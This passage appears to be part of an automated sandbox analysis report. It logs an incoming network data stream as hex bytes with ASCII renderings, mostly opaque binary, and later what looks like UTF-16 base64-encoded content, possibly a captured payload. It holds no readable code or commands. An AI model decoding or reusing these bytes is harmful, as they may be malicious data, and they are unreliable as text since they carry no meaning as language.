04 66 07 fd 34 e7 c1 2c 01 5f 0e 1b e5 a8 6a 1c e3 fc f6 1c 0c c5 13 0c c3 83 9d 0c be 45 9d e5 46 b6 07 aa 2b bd 62 fa 30 3e 69 56 4e 79 6d 2e 2a Data Ascii: `bp^>IG\_m%a~w"jO1+W^23DhZi;\N,IlTN"e(iyk8,53fe6l2tq4oQOiT$xu`\|Tuk}[2w&rsK2UU<{ZKm?Yf4,_jEF+b0>iVNym.*
2022-01-06 20:04:23 UTC	164	IN	Data Raw: ff b5 e7 18 95 77 3d 07 a1 56 5d 68 f9 65 05 9d 09 c0 df a6 71 2e 3c 3d 35 a1 96 4f 34 be dd 76 f5 fe f2 c4 cb 87 8f 30 49 97 cb 1f 87 d2 d8 0c b1 ff 9b 92 2c 63 6a f8 a3 b6 41 7f 1b 8a dd c0 ae c9 d6 4e d9 a6 c3 7f 2c 20 be 11 96 2b 4a a0 09 2b f2 ce 37 10 a6 aa 40 e8 9b 0a 75 3e 3e 52 db cf 91 6a 4b 72 6f bf 7e 61 90 6f 6f 3d 97 a7 62 b2 41 c5 e1 f3 16 42 6a 83 fe 6c 93 46 c7 a2 a0 38 cf e9 84 ed dd e8 70 5e f6 e3 4d b8 81 7d 99 e0 83 bb b0 99 9d de 7a 5b fc 50 c7 57 bf 35 09 07 36 f4 94 04 bb f9 a3 c5 8f a7 36 f2 cd b5 4b 9a f5 64 4e b3 fb 5b 5e d7 50 dd 8b 88 72 7f ec e5 42 66 88 21 22 b3 03 81 c2 d7 95 f2 73 90 a3 0c a6 75 61 7d a1 bb d0 5b b4 19 26 00 9b 63 e8 5e 73 ae 6c 97 ae a0 e4 b8 eb ab 37 2a 41 b5 8c a6 6b d3 b0 7b de 70 b5 10 f9 a9 ad a7 82 Data Ascii: w=V]heq.<=5O4v0I,cjAN, +J+7@u>>RjKro~aoo=bABjlF8p^M}z[PW566KdN[^PrBf!"sua}[&c^sl7*Ak{p
2022-01-06 20:04:23 UTC	168	IN	Data Raw: 0b a8 8a 37 42 2d 90 4c 43 37 11 f5 ab f3 26 9e af 1c 91 e8 35 da fb e9 7b f4 f9 3a a9 88 4b 76 63 5f 55 09 4d 59 86 4a e3 0a 17 62 63 38 cb a5 d6 4c 22 53 b3 ef 60 05 da c9 c9 8b 8a e1 35 ee c8 ed dc 0d 7b 48 9f 4f 73 24 ed a7 d7 fa 1a 7e d1 c5 9c 2d e3 6c c4 d5 01 19 0c 9b 5e 6e a6 1f 8b 2d 49 a0 38 6c b2 0d cb 5b e2 14 6e 62 ed cd 8a 4c 8d 86 a2 9f 81 a0 96 2e 81 6a d6 7d cd 6b 3d 4e 4c 16 78 2a 8e 19 b7 f1 39 99 18 3c a8 a9 47 46 43 d3 74 30 cd e6 c2 06 43 24 3e 52 f5 a9 a4 42 f6 01 7e 49 b2 f1 4d 49 7f b2 ea 57 44 a5 2d fd 1f 71 f8 13 96 9e 31 c6 3a ae 95 01 21 22 b3 0b 0b b7 3e a5 56 bf cd f4 59 11 4b d5 9e 2c 2c 48 b0 b3 da 6b 78 0c 73 a4 7f 59 e4 30 b8 df b2 e3 b4 d2 70 fa 96 e6 bd 9c 9c b5 ad 66 bc c0 bc 98 74 56 f8 2d 9a 9a 35 13 e2 f5 8b 7b 10 Data Ascii: 7B-LC7&5{:Kvc_UMYJbc8L"S`5{HOs$~-l^n-I8l[nbL.j}k=NLx*9<GFCt0C$>RB~IMIWD-q1:!">VYK,,HkxsY0pftV-5{
2022-01-06 20:04:23 UTC	172	IN	Data Raw: 7c 6c 84 3d 54 2b 7b 0d 8d 1b 46 88 6b f8 0a 4f 2c fa 8f 49 e0 d7 ed ee 98 ec 8c df 32 05 c5 04 ab 87 4f c3 37 bc 96 fa b8 87 b9 5c 4c 99 72 dd 18 15 d9 b9 41 43 16 2d 46 ba 4d e4 70 1a 2e 80 60 96 4e 2d 36 4b b8 96 c4 56 d7 29 96 ff 9a 60 9c 03 77 45 7e b6 50 60 7a f4 81 c6 97 c8 2a a7 db f9 0f c0 73 62 ca 68 a0 a6 ac 57 55 35 f0 4c 8f 6d ae 23 12 a0 82 b5 ea bc cc 66 0e 3e 44 d0 dc bd 3e 01 c0 a4 22 92 65 e7 28 cc d3 71 c8 2c 10 ae 91 b5 d1 b0 47 5d 27 ea d8 15 c3 48 71 42 8c ad 15 2a b9 44 85 af a9 f5 87 1b 05 3d 03 11 fe be 89 4c 81 b8 46 5a a8 65 dd a2 1b 4b 6b 48 c1 c7 02 1c d2 7f e2 c8 6e b4 14 34 06 b5 1c 03 a1 c0 d3 69 86 72 e6 0f 4c 91 12 c1 d3 76 63 f9 ca df 8e 98 a7 f6 db d5 be 9d 37 bd ad 1b 9e 3b ab 72 a9 b6 e5 ef 02 57 14 69 f0 ee 51 e9 60 Data Ascii: \|l=T+{FkO,I2O7\LrAC-FMp.`N-6KV)`wE~P`zsbhWU5Lm#f>D>"e(q,G]'HqBD=LFZeKkHn4irLvc7;rWiQ`
2022-01-06 20:04:23 UTC	177	IN	Data Raw: 52 2a cb dc bf 51 50 45 fe a8 25 ac 95 57 0c 87 57 6a 68 06 48 09 ff 15 ec d6 be 7c d6 8c d6 24 31 14 e3 6d e2 ff 8f 97 1f 52 2e 2e ca ee 24 a2 bd a2 4a cb b2 d5 e4 c3 b7 00 d7 df 4b ae 3c ff db b7 7a 0c 01 ee dd df f7 fc 78 58 02 32 41 74 ca 5d 25 2a d3 d0 8c ce 4f 62 bc ec 1a 7c cc 81 97 1c 21 85 3f 72 cd 6e 06 70 d8 1a 63 6f ec 94 26 0f d1 31 7e 02 47 ef 05 23 12 4a 96 cd 52 63 91 cf 69 4a 85 64 5e 32 f3 5b af 62 be d3 77 56 25 54 1c d7 86 89 57 6c 43 18 a5 03 c9 a1 6c d6 0c b9 71 8e 66 08 fc 76 cb 76 9a a6 07 18 ed e1 e8 63 0b c4 01 6d 1c e4 7a 61 d2 86 00 3f 9e 30 f8 2f 50 b0 f0 07 b0 40 e3 5e 00 d5 5c 4e f6 c9 70 4a 4a 25 a3 91 6e b4 85 d5 51 22 47 69 82 92 d6 f7 f1 01 9e 61 74 15 5e 6b b0 3a 4a 18 66 a9 27 97 b2 5f 89 ce 7c 4a b4 34 3d 23 27 6e 3f Data Ascii: RQPE%WWjhH\|$1mR..$JK<zxX2At]%Ob\|!?rnpco&1~G#JRciJd^2[bwV%TWlClqfvvcmza?0/P@^\NpJJ%nQ"Giat^k:Jf'_\|J4=#'n?
2022-01-06 20:04:23 UTC	181	IN	Data Raw: 9b 96 95 26 2d 6a 30 d2 5a 4b 1d be cd aa 6d c1 43 3c c7 da a6 9b 05 f7 1c 27 84 d4 49 57 a7 e8 95 e2 01 7a f5 72 e5 38 9c da 51 64 15 7d df 06 5e fe c6 54 f3 e3 49 aa 01 d0 5a 2e 4d a6 9a 0a 14 64 d3 f6 d3 38 70 83 79 3f 62 b3 00 97 ce ac 81 e2 10 83 7f 19 93 2a e8 33 5f 69 bc 35 6a e9 f6 15 61 a1 69 69 88 56 08 b5 d8 0e 4e 96 68 3e e2 dd c8 76 85 f1 fe c2 c5 00 c1 94 56 f1 cf e8 85 c9 30 80 b4 47 d2 52 fc 88 ca f9 06 dc 25 90 8e 1c 9d 4c 93 25 1e c1 4a 84 99 ed 68 3b fb 04 a6 8d 5a 87 72 8c f7 4f 82 2a 5c 2a 86 e6 0b bf c5 65 55 60 09 06 63 8a b5 07 2e 77 e7 08 ca 4f 20 13 5d 14 14 91 b6 fd 63 4d 0d e2 a4 1c a9 a4 c6 38 09 b1 1f 46 b1 ab 88 e3 4a 78 24 a3 7c a0 56 1f 7c 59 4a ec 2b cc 64 cc cf 41 2f bb 4c 16 5e e3 00 61 12 28 9e e2 c6 42 ba 84 ca 02 6c Data Ascii: &-j0ZKmC<'IWzr8Qd}^TIZ.Md8py?b3_i5jaiiVNh>vV0GR%L%Jh;ZrO\*eU`c.wO ]cM8FJx$\|V\|YJ+dA/L^a(Bl
2022-01-06 20:04:23 UTC	185	IN	Data Raw: c2 99 d7 96 8e 2d 63 33 06 80 13 a3 22 61 4b f3 6c ec 3a 14 8f 83 5e 0b f9 2d ee 1a e6 5e 0c de 20 40 16 2e 6b c9 71 92 90 29 e5 e5 6a ec 78 19 0e e3 d7 27 50 67 9f c0 c9 68 1c 74 1b 8c c0 b3 3f 54 6a 17 ec da 5c 5f 34 c9 43 20 6b f7 f1 5d ac b9 eb 43 74 6c 72 c5 de de 3a 65 91 ae 29 3e 4c b8 ae fa 9a 8f dc 68 d4 b6 33 e4 77 70 71 8d db da 16 7f 83 0c 11 42 67 c7 e2 c9 77 1b bf 2c 60 90 d3 7a 22 df 9a 83 03 68 44 d4 cb 5d f1 a5 f7 c0 c1 3c 65 d3 ef 9a 92 44 5e bf 0b 16 95 a9 bd 8f 77 e2 4c 4a 60 33 11 64 ef ae 08 56 53 b8 67 65 0e 70 46 f9 40 52 97 e4 da fb c2 9b c4 58 81 a9 d7 63 16 79 b5 47 da c6 b1 32 1d fd d9 6a 63 a7 31 d2 90 8a 3d 81 c6 2c 85 ab a9 90 61 ae c7 de 2c 8d ef c5 c6 4c f5 67 fb 90 90 63 10 37 e0 54 65 09 4b e2 a3 72 8f 5c a3 3e 2d 33 76 Data Ascii: -c3"aKl:^-^ @.kq)jx'Pght?Tj\_4C k]Ctlr:e)>Lh3wpqBgw,`z"hD]<eD^wLJ`3dVSgepF@RXcyG2jc1=,a,Lgc7TeKr\>-3v
2022-01-06 20:04:23 UTC	189	IN	Data Raw: 6b c0 51 33 3c aa d3 ff 77 d7 24 a6 ad 10 5b d3 d7 d3 37 f9 f9 c8 37 db 2a d5 b8 1c 33 0e 71 90 0a fc 33 4d 52 48 90 a7 b3 b6 4f 8b 2e 2e 07 47 cd c5 b2 6e 45 40 9e 7a 84 6b ef e9 19 10 70 fa 12 a9 02 84 57 f5 e3 e4 9e 28 75 9e d8 5b 56 51 07 08 e8 13 51 36 9b ee ab 75 dc f3 b2 b1 bc 6c 72 8a a6 d3 7f d4 4b eb 6c fa d1 a6 9b db fd c9 b0 2f 6d 68 91 78 f3 91 51 50 b3 d5 a8 9e 1e 2e a9 6b dd 1e 81 15 fc 71 3e e3 62 4d b9 32 11 d6 79 07 b6 14 d6 2c 6f 1b 26 40 b8 a8 fe b4 cc 79 11 eb 80 07 6f 9e fa 26 a2 1e b4 59 15 28 cf bd b5 90 b8 da 37 13 b9 e6 cb 07 c7 ca fa 85 07 94 bc 88 c6 20 9b 8d f6 2e 4b 33 a8 15 0a f0 f2 67 69 71 e9 cf 7e 5b 46 42 50 b1 7d d6 6d d3 76 39 d0 2b 1d bc fd c9 db ed 79 80 2c d7 2f 38 db c9 3b e9 f0 f8 07 af 94 cd 09 85 fc f9 6d 97 8a Data Ascii: kQ3<w$[77*3q3MRHO..GnE@zkpW(u[VQQ6ulrKl/mhxQP.kq>bM2y,o&@yo&Y(7 .K3giq~[FBP}mv9+y,/8;m
2022-01-06 20:04:23 UTC	192	IN	Data Raw: 0c 2e 75 ef d5 05 20 4b ee 3b 28 f2 2a 03 56 1b 3c 20 0d c9 66 b6 88 cc 6f 14 60 5f 61 38 56 d0 4c 1f ca 5a a0 f0 a8 68 03 75 db da 52 90 88 04 7c 8e 42 b0 52 86 52 19 13 0f 86 7d 4e 66 e2 56 f3 32 ad 60 3f 53 a7 94 61 14 23 82 71 8a df 09 32 34 8b e7 fd 1b 3c c7 aa 19 b2 eb 64 b8 83 5b 87 25 80 28 9f a8 94 c0 46 d2 b3 db dc 7d 3f a8 04 1e cb f7 29 f4 4d 6a b4 c8 58 25 d3 98 96 85 ea 9e eb 0b b4 7c 7e e9 87 0b fc dd 1b 77 14 71 35 4f b6 5f cd fd 88 b5 73 b3 2a 7c b3 4d 3b 20 60 41 0d d9 c7 b5 ca 63 4e 21 f7 fa 7d 8c 4a 6e d5 40 b9 cd f9 2a 04 65 ab 6a 9e 9c a1 0c 25 ad 2f c9 e7 f9 6c f5 3e 6c a0 19 26 06 07 98 bc 7d e9 b6 d1 49 6d 43 a4 93 7e e7 64 ca fe ff 91 f6 04 41 e9 c2 5e e6 1f 27 bd e5 7c 6d 57 b6 00 94 b5 e9 a2 dd f7 57 94 fd ba 9d 74 e8 d4 09 51 Data Ascii: .u K;(V< fo`_a8VLZhuR\|BRR}NfV2`?Sa#q24<d[%(F}?)MjX%\|~wq5O_s\|M; `AcN!}Jn@*ej%/l>l&}ImC~dA^'\|mWWtQ
2022-01-06 20:04:23 UTC	196	IN	Data Raw: 8e 71 4e 59 51 26 27 e0 d6 6c 30 21 4b 78 41 69 67 2a d2 8b 89 34 7d a4 49 67 27 e7 aa 4c f2 29 22 94 f5 82 87 33 c2 b2 ad b2 f7 49 94 62 f4 b6 9d 73 01 c8 0b 98 59 8a 82 47 22 5c 89 ec 7c 76 9c fe 55 c1 64 23 5e 41 07 ad 34 3d d0 6f 35 35 85 d4 bf 18 bb b4 02 bd 02 d8 6b a2 bf d1 39 af af a5 de 9d 1b a7 f9 74 77 83 43 dc b0 12 c1 0b 9d 9c 9c ec 8d 57 0a 15 4a 7d b7 16 47 a3 4e c0 0e 45 b6 cd f6 d4 c9 06 b6 4c 94 b7 bd 03 ee 46 d6 b6 2b be 04 da 14 c8 84 1d e3 96 b2 4c 40 52 3f 6f 14 8c 65 70 ec 38 ab 3f 07 6c cc 73 01 c6 63 98 49 ee 06 a8 e6 89 c7 90 f6 94 d0 fb b0 90 55 b8 d9 00 76 67 8a 12 72 9a e8 ea dc b2 d7 6a e6 f6 dc 92 65 47 a3 3d 33 72 00 90 c5 60 4a 5e a0 ce 84 2c 5d 95 c5 80 ed d6 6e 54 3a 5e 58 3c 70 4f 86 1e e9 61 90 a0 44 3d 90 41 41 ce 22 Data Ascii: qNYQ&'l0!KxAig*4}Ig'L)"3IbsYG"\\|vUd#^A4=o55k9twCWJ}GNELF+L@R?oep8?lscIUvgrjeG=3r`J^,]nT:^X<pOaD=AA"
2022-01-06 20:04:23 UTC	200	IN	Data Raw: 5e 81 28 1d 29 0a f4 4f 40 92 bd 36 0a b5 eb e3 7a 22 23 07 f0 ac 1f 42 96 a8 c4 42 6f c9 4c 92 9a 46 35 c7 1f 4d db b2 e6 87 92 58 05 85 4a e8 49 9c a9 d3 21 49 76 de 7b 65 5a ca 20 f9 fb 09 dd 88 22 07 04 d6 81 c9 58 0f da a1 84 57 84 ed c1 62 02 41 18 f8 81 85 76 66 81 23 8a b0 f0 6e 74 4f 73 41 92 d1 fc 4e f6 09 1a 48 63 79 ae 64 ec 5f c5 f1 4b ac 5e ce 9d a9 52 de b1 ce 8e bd 97 d4 93 eb 65 ea c8 30 8b 6c d4 43 9d e6 47 c5 b6 12 40 51 e9 d1 92 0d 49 f5 2c 99 95 10 03 63 dd f7 fa 74 09 ff fb e0 24 5d 84 8e 96 ae 7f cc ad f4 d9 08 e3 54 d7 9d b7 4d ee 31 17 b3 ab 66 42 3f 8c e5 6a 66 3c 84 9a b8 30 08 ef 05 20 c5 46 99 ee 1b a8 04 04 d2 de 41 c0 79 1a 2f d9 12 e5 0c 82 16 5c 13 21 81 65 01 9c 0b 65 fa 2a a2 a3 5d 44 05 2f ad c4 52 21 ad a3 41 f6 eb 00 Data Ascii: ^()O@6z"#BBoLF5MXJI!Iv{eZ "XWbAvf#ntOsANHcyd_K^Re0lCG@QI,ct$]TM1fB?jf<0 FAy/\!ee*]D/R!A
2022-01-06 20:04:23 UTC	204	IN	Data Raw: 1c 78 ee 80 fc d7 29 cc 29 19 7a 45 e8 b1 d0 ae 35 7f cb ec 36 cd da 8c 75 70 31 cc a6 fd b1 10 28 fb af e1 1e ea 61 d8 38 b5 b9 ce 9d 91 d3 03 bc ce ab af 06 47 34 db 17 e0 0c a0 cf 8c e6 2b 84 67 08 05 89 8a bc 3b c1 32 72 0f c0 ca 5c 59 00 07 f9 f2 07 eb c2 d7 da 3b 8b 51 ea 73 1c ae 05 6c 0e 7d 5d 25 3a 86 52 18 ac ba e0 94 7c 2b 96 78 e3 fc 7c 20 8b 55 d9 8f 44 45 a3 ae ae 22 27 f4 5d 70 6d c3 e2 34 73 64 6c f3 2f dc c5 17 d2 ed bd eb f3 ac 15 89 3d da ba d7 fe 08 90 df 38 3c b8 27 e6 81 69 86 28 5c 4a c1 dc 37 93 c9 bf d8 84 32 a2 5c 74 3f cc fd 54 67 07 d8 b9 6a e1 0a b1 d5 2d 8b 88 88 d8 19 7b 0d b8 1b 36 49 30 71 a2 9f b3 54 8d 0f 45 6a 62 4e 9f 52 e4 38 af 49 ec ac 55 3e aa c7 0e 98 dd 34 8e c3 f3 30 53 34 73 1a d4 d1 94 0e 81 85 14 d1 bd f2 27 Data Ascii: x))zE56up1(a8G4+g;2r\Y;Qsl}]%:R\|+x\| UDE"']pm4sdl/=8<'i(\J72\t?Tgj-{6I0qTEjbNR8IU>40S4s'
2022-01-06 20:04:23 UTC	209	IN	Data Raw: 0f 4b e2 11 41 11 5e bb d8 9c 8a bf 13 d6 27 a2 27 47 80 01 9c 64 ce aa f5 2c 72 22 d0 24 74 86 17 03 dd b5 72 1d 14 08 61 a1 6b 47 4c 54 68 4d 00 cf 40 15 58 be 6e 3c ff 9d c8 61 a8 27 49 c6 bc 5b 69 e9 1e bb 4d 48 4f 50 5a 83 d1 67 75 d6 26 15 bf 7f 76 e7 73 46 28 96 65 5d d6 d3 fc ac ba 9e 24 00 be 8a fd 3a b6 26 af 02 0b 2b 9d 0a 4f 76 8a fa 65 bf 6b 92 84 4d ec 27 36 78 27 dd 39 3e 9e 4f c5 b2 b5 d9 f1 35 32 5b c4 b8 ec 3b 53 03 73 4d 10 26 ad ab f4 8c a9 20 8c ec e5 89 58 08 b6 88 3a cb 2e 74 9b 66 05 6f 8e 56 22 e5 24 d5 4c 8f 7a 1d 70 b1 74 35 1d 68 96 c5 ca 1d 8e 46 2b b3 b8 e4 af f3 02 16 50 57 8d 42 39 3e 00 04 00 13 67 30 e7 5f 4b 41 a6 d3 1f 8c 9a 5a 8a 37 bf c7 ec 7b e1 90 48 de 07 c1 01 03 d1 d3 74 b0 7a 15 dd d9 77 a1 09 5a 7d 57 ed 74 07 Data Ascii: KA^''Gd,r"$trakGLThM@Xn<a'I[iMHOPZgu&vsF(e]$:&+OvekM'6x'9>O52[;SsM& X:.tfoV"$Lzpt5hF+PWB9>g0_KAZ7{HtzwZ}Wt
2022-01-06 20:04:23 UTC	212	IN	Data Raw: 11 64 2a 6c 97 38 35 ec 0e ce 9c 35 d5 b7 49 00 8d be 53 78 e9 4b f4 a2 d4 8c 12 60 b0 ec c9 b8 60 bf 9d fa 81 71 c6 ea 46 f4 65 68 ea f7 f0 80 04 ac 64 e7 cd 93 35 96 ac 72 e9 49 ea 65 fe 85 fa da 9e 4f 35 28 e4 ec 44 c3 5f 87 19 4f 7e 44 be c5 c5 fa 63 20 2d be b5 23 15 7f b3 93 d6 a5 7f 18 10 ad 5b f3 f0 5b 69 f3 d1 7b 68 d4 d9 88 88 9e 94 26 47 eb 7b 7f 3c 97 7e 7e b6 f7 a2 c7 f4 64 7e 4c a6 73 f4 4c 21 74 ad 3b 62 35 bc 94 2a 63 cd f3 7a ea 4a a1 ce 52 c0 8c 74 c6 b4 b2 68 07 91 6f b6 ed f8 ac 2a db 3b d8 e7 ac 93 f7 95 8d 2a 7a 82 02 ae 20 f0 22 45 78 63 a5 5b 28 66 15 32 df 62 b4 7e 2c 5b 94 e9 3c 28 f1 22 de 8e 50 39 3e 7a 2a 59 71 f6 e4 b8 ed ec 54 8f 0f d6 59 a2 a6 fe 97 74 04 62 3a 24 3a 00 00 eb 9b 2e 60 62 f8 4d 91 cd 8f b3 be 3c cc 2d 21 ac Data Ascii: dl855ISxK``qFehd5rIeO5(D_O~Dc -#[[i{h&G{<~~d~LsL!t;b5czJRtho;z "Exc[(f2b~,[<("P9>z*YqTYtb:$:.`bM<-!
2022-01-06 20:04:23 UTC	224	IN	Data Raw: 73 14 5a a7 c7 9c 15 10 ab f2 b3 39 08 bd 03 f2 2b b6 4f d0 3e a0 41 8d 0d e4 e5 36 ec 61 77 18 7d 2c 8f 6f 47 09 45 26 a1 d2 55 42 6b 4d ee 33 55 e5 11 49 3e c3 52 41 2b d7 fc 6a f9 49 1a a1 f7 34 87 cc 71 25 da ea 5e cb a3 1f 91 bc b3 8f d0 c4 93 97 91 b3 1d 52 1f 2d de 5c a2 62 45 93 15 87 76 9e e2 92 f3 fd 8b 33 1c da 94 11 ac 2f 20 f6 72 3f 5a d9 51 37 d2 35 64 69 b7 ec 09 4c 26 08 d3 88 94 f8 7c e4 91 85 94 aa 1d 7a 63 61 42 39 9d 62 74 16 a1 94 7a d4 6e 1f 82 70 95 dd a6 73 26 ae 45 36 ea f7 78 09 b8 bd 18 d3 ad d5 21 a6 9a e4 fc da 1d 92 a9 a5 00 f7 ff f6 4b 76 18 ff 47 06 70 fe 85 62 45 b2 97 83 36 67 6e 18 37 e5 07 2f f8 c4 59 23 d1 71 4a a2 b7 79 95 ec ad 92 9e 4b d9 68 2a 82 b2 61 30 7e 75 4c 39 8e ab db 0a 5b d2 16 9c 5b 86 b7 5d 43 42 3c 5c Data Ascii: sZ9+O>A6aw},oGE&UBkM3UI>RA+jI4q%^R-\bEv3/ r?ZQ75diL&\|zcaB9btznps&E6x!KvGpbE6gn7/Y#qJyKh*a0~uL9[[]CB<\
2022-01-06 20:04:23 UTC	228	IN	Data Raw: dc d9 39 72 b0 5d cd 24 f4 a7 d1 70 36 ac 5c e3 2f d0 a5 7a 54 aa 43 f4 83 d9 52 16 b5 eb 51 73 f2 26 1b 2b a9 17 a9 25 25 26 66 ce fb 41 99 23 7b 44 d4 ca 58 e6 71 75 d7 9e 28 f2 cc 99 7a 7f b7 08 61 18 ad 45 ab 48 2e 79 33 fe 42 a1 63 4e 88 59 d2 5b fd e7 0c 4a df f2 79 5a d7 78 bb 55 8d e4 9b b1 a1 e2 34 29 49 1f 7a 24 4a 66 7b bd 0b d1 75 79 d7 92 04 80 f6 64 99 65 09 d2 53 9c fc 88 df 6c 7b e7 5b c7 4e 3e 1c 7c 45 21 51 90 9a 8c 58 c8 a6 5a 4c d6 ef 4b 83 ff 42 da 9a 34 f8 95 1c 18 90 a8 96 0a 87 82 c6 ce b6 ab b3 22 ab 3c 1e 22 b6 e0 bc 99 a2 eb 39 26 39 9c 0a 2f 2c 8d 8c a2 1e d9 70 94 fe c3 06 8d e3 53 b6 1c 24 81 62 14 a3 e1 ec e1 8e 11 b4 98 bd 35 02 64 40 58 19 42 3b 4a 3a 9b a8 e8 d4 a0 e0 f1 1d da 14 2c 09 b0 0e 2a ca 5d f7 52 e5 1f e0 0d 23 Data Ascii: 9r]$p6\/zTCRQs&+%%&fA#{DXqu(zaEH.y3BcNY[JyZxU4)Iz$Jf{uydeSl{[N>\|E!QXZLKB4"<"9&9/,pS$b5d@XB;J:,*]R#
2022-01-06 20:04:23 UTC	244	IN	Data Raw: b0 7e 0a 65 48 be b0 da 1e 98 23 48 ec 61 96 83 06 12 cf 5a df 7b e8 2a fd 16 81 6d e3 a4 c3 9f 03 a4 8b 8a 28 97 2e 34 5c f4 1c 87 21 8b b4 b3 78 4a fa d7 81 3f 5c d0 99 7c 5f 0a 0e 78 fd 57 26 ae 31 da 78 51 9a 2a db a7 e5 90 dd 09 05 e6 44 2e 01 44 c0 51 db e9 f7 a8 e1 a4 40 08 0c 58 b9 de 7c 5f bb 73 e4 e9 fa 3f 7e b3 9b 24 62 41 43 2d 48 2b 85 33 67 4f 70 fd e6 3e 73 cd bf 14 f4 9d 65 40 92 88 18 a1 03 10 ba 1d 69 35 3a 89 96 67 4d 88 0c 6e c6 14 6a c5 4b 79 41 06 9b 81 ef c0 bb 8a 5e c2 97 ea f2 b0 22 40 a5 b9 19 99 57 4d 97 2e 89 4d 59 fc 17 08 dd de d4 47 bb 89 8e 2d d9 be 71 5d e7 0b 7a e1 ed 3e 1b 22 4f 5a 7e 2b f4 58 28 08 6b c1 87 82 bc ac 3a c4 38 92 cf 65 25 8c 41 11 73 ba 37 d5 f0 72 a8 6b cd 21 db f6 cb f5 ba db 73 ca 28 f6 55 14 cb f6 81 Data Ascii: ~eH#HaZ{m(.4\!xJ?\\|_xW&1xQD.DQ@X\|_s?~$bAC-H+3gOp>se@i5:gMnjKyA^"@WM.MYG-q]z>"OZ~+X(k:8e%As7rk!s(U
2022-01-06 20:04:23 UTC	256	IN	Data Raw: 00 69 00 6a 00 4f 00 70 00 32 00 67 00 6d 00 52 00 33 00 51 00 39 00 55 00 73 00 37 00 35 00 55 00 38 00 66 00 4b 00 2b 00 55 00 65 00 4c 00 56 00 55 00 48 00 63 00 63 00 6b 00 50 00 73 00 33 00 52 00 2b 00 66 00 67 00 67 00 31 00 7a 00 6d 00 72 00 6d 00 2b 00 34 00 30 00 67 00 51 00 74 00 49 00 41 00 4e 00 78 00 45 00 34 00 77 00 72 00 54 00 31 00 52 00 33 00 32 00 68 00 53 00 6c 00 4e 00 63 00 30 00 44 00 39 00 6d 00 38 00 74 00 70 00 66 00 44 00 6d 00 4f 00 59 00 6b 00 61 00 37 00 41 00 31 00 6c 00 73 00 63 00 6b 00 79 00 43 00 31 00 46 00 31 00 57 00 6b 00 31 00 2f 00 7a 00 42 00 42 00 32 00 77 00 55 00 34 00 55 00 51 00 48 00 74 00 33 00 35 00 31 00 57 00 72 00 4d 00 38 00 41 00 6f 00 2b 00 72 00 37 00 38 00 71 00 59 00 78 00 67 00 30 00 4d 00 64 00 Data Ascii: ijOp2gmR3Q9Us75U8fK+UeLVUHcckPs3R+fgg1zmrm+40gQtIANxE4wrT1R32hSlNc0D9m8tpfDmOYka7A1lsckyC1F1Wk1/zBB2wU4UQHt351WrM8Ao+r78qYxg0Md
2022-01-06 20:04:23 UTC	272	IN	Data Raw: 00 5a 00 59 00 33 00 51 00 30 00 45 00 52 00 36 00 69 00 35 00 33 00 2b 00 55 00 4f 00 7a 00 37 00 43 00 6a 00 7a 00 52 00 4d 00 55 00 6f 00 2f 00 66 00 69 00 4d 00 2b 00 75 00 69 00 50 00 71 00 41 00 2b 00 64 00 66 00 66 00 32 00 2b 00 31 00 37 00 54 00 55 00 47 00 39 00 61 00 36 00 2b 00 79 00 43 00 45 00 79 00 47 00 78 00 6f 00 36 00 71 00 6d 00 4e 00 63 00 72 00 32 00 62 00 62 00 6a 00 79 00 46 00 41 00 5a 00 4a 00 4a 00 43 00 50 00 6e 00 71 00 45 00 74 00 74 00 75 00 52 00 74 00 6c 00 6f 00 39 00 39 00 58 00 73 00 77 00 54 00 44 00 6a 00 6b 00 52 00 42 00 44 00 42 00 33 00 56 00 4b 00 30 00 46 00 30 00 74 00 68 00 31 00 71 00 6a 00 4a 00 64 00 61 00 66 00 47 00 6c 00 65 00 4f 00 52 00 37 00 32 00 75 00 55 00 4c 00 35 00 67 00 48 00 37 00 50 00 76 00 Data Ascii: ZY3Q0ER6i53+UOz7CjzRMUo/fiM+uiPqA+dff2+17TUG9a6+yCEyGxo6qmNcr2bbjyFAZJJCPnqEttuRtlo99XswTDjkRBDB3VK0F0th1qjJdafGleOR72uUL5gH7Pv
2022-01-06 20:04:23 UTC	288	IN	Data Raw: 00 6b 00 48 00 46 00 6c 00 4d 00 59 00 59 00 48 00 52 00 4b 00 66 00 43 00 6e 00 6b 00 5a 00 66 00 61 00 39 00 75 00 4e 00 4c 00 76 00 6e 00 63 00 4f 00 76 00 44 00 43 00 51 00 33 00 46 00 46 00 75 00 6a 00 61 00 70 00 51 00 44 00 49 00 42 00 4a 00 2b 00 37 00 4d 00 2b 00 44 00 6a 00 4a 00 43 00 70 00 4d 00 61 00 5a 00 41 00 51 00 72 00 6f 00 30 00 6e 00 33 00 56 00 58 00 77 00 4f 00 34 00 30 00 31 00 63 00 42 00 45 00 4e 00 66 00 63 00 77 00 58 00 37 00 2f 00 33 00 58 00 70 00 6b 00 30 00 32 00 6a 00 48 00 42 00 47 00 61 00 7a 00 38 00 72 00 64 00 65 00 30 00 2b 00 35 00 76 00 37 00 65 00 37 00 31 00 50 00 50 00 38 00 4e 00 33 00 35 00 71 00 69 00 56 00 56 00 70 00 72 00 56 00 6f 00 53 00 51 00 6e 00 6d 00 6e 00 56 00 2f 00 33 00 4a 00 52 00 6f 00 46 00 Data Ascii: kHFlMYYHRKfCnkZfa9uNLvncOvDCQ3FFujapQDIBJ+7M+DjJCpMaZAQro0n3VXwO401cBENfcwX7/3Xpk02jHBGaz8rde0+5v7e71PP8N35qiVVprVoSQnmnV/3JRoF
2022-01-06 20:04:23 UTC	304	IN	Data Raw: 00 36 00 4a 00 41 00 31 00 4e 00 7a 00 4c 00 36 00 47 00 2f 00 7a 00 57 00 30 00 55 00 4c 00 57 00 6a 00 47 00 2f 00 6d 00 4d 00 61 00 6b 00 2f 00 78 00 56 00 53 00 41 00 54 00 39 00 4b 00 46 00 6a 00 65 00 48 00 76 00 55 00 51 00 7a 00 48 00 4f 00 6e 00 41 00 36 00 4c 00 41 00 67 00 46 00 4c 00 46 00 6e 00 5a 00 69 00 6d 00 57 00 71 00 46 00 6f 00 78 00 65 00 33 00 41 00 54 00 68 00 68 00 53 00 51 00 69 00 66 00 37 00 64 00 34 00 7a 00 42 00 4d 00 45 00 46 00 41 00 45 00 38 00 45 00 56 00 63 00 55 00 69 00 50 00 51 00 75 00 4d 00 54 00 68 00 76 00 61 00 32 00 55 00 36 00 71 00 71 00 39 00 63 00 38 00 56 00 7a 00 75 00 74 00 5a 00 69 00 46 00 78 00 4a 00 4a 00 6e 00 51 00 2b 00 31 00 2f 00 45 00 49 00 63 00 30 00 6e 00 4e 00 6f 00 41 00 6f 00 7a 00 72 00 Data Ascii: 